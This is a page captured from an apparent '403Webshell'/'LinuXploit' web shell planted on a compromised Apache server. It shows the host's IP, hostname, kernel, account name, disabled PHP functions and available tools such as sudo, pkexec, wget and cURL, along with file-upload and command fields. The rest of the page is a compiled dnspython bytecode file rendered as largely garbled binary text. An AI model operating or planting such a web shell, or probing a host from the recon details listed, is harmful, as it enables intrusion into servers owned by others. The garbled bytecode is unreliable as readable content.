403Webshell
Server IP : 68.178.164.50  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : rathinambschool ( 1053)
PHP Version : 8.2.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/dns/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/dns/__pycache__/tsigkeyring.cpython-39.opt-1.pyc
a

�M�eI
�@s|dZddlZddlmZmZddlZddlZeeefeej	j
ejjfd�dd�Z
eej	j
efeeefd�dd	�ZdS)
zA place to store TSIG keys.�N)�Any�Dict)�textring�returncCsbi}|��D]P\}}tj�|�}t|t�r@tj�||�j||<q|\}}tj�|||�||<q|S)a7Convert a dictionary containing (textual DNS name, base64 secret)
    pairs into a binary keyring which has (dns.name.Name, bytes) pairs, or
    a dictionary containing (textual DNS name, (algorithm, base64 secret))
    pairs into a binary keyring which has (dns.name.Name, dns.tsig.Key) pairs.
    @rtype: dict)	�items�dns�name�	from_text�
isinstance�str�tsig�Key�secret)r�keyringr�valueZkname�	algorithmr�r�3/usr/lib/python3.9/site-packages/dns/tsigkeyring.pyr	s
r	)rrcCsvi}dd�}|��D]\\}}|��}t|t�r<||�||<qt|jt�rT||j�}n
t|j�}|j��|f||<q|S)a;Convert a dictionary containing (dns.name.Name, dns.tsig.Key) pairs
    into a text keyring which has (textual DNS name, (textual algorithm,
    base64 secret)) pairs, or a dictionary containing (dns.name.Name, bytes)
    pairs into a text keyring which has (textual DNS name, base64 secret) pairs.
    @rtype: dictcSst�|�����S)N)�base64Zencodebytes�decode�rstrip)rrrr�	b64encode6szto_text.<locals>.b64encode)r�to_textr
�bytesrrr)rrrr�keyZtnameZtext_secretrrrr-s

r)�__doc__r�typingrrZdns.namerZdns.tsigrr�Namerr
r	rrrrr�<module>s(

Youez - 2016 - github.com/yon3zu
LinuXploit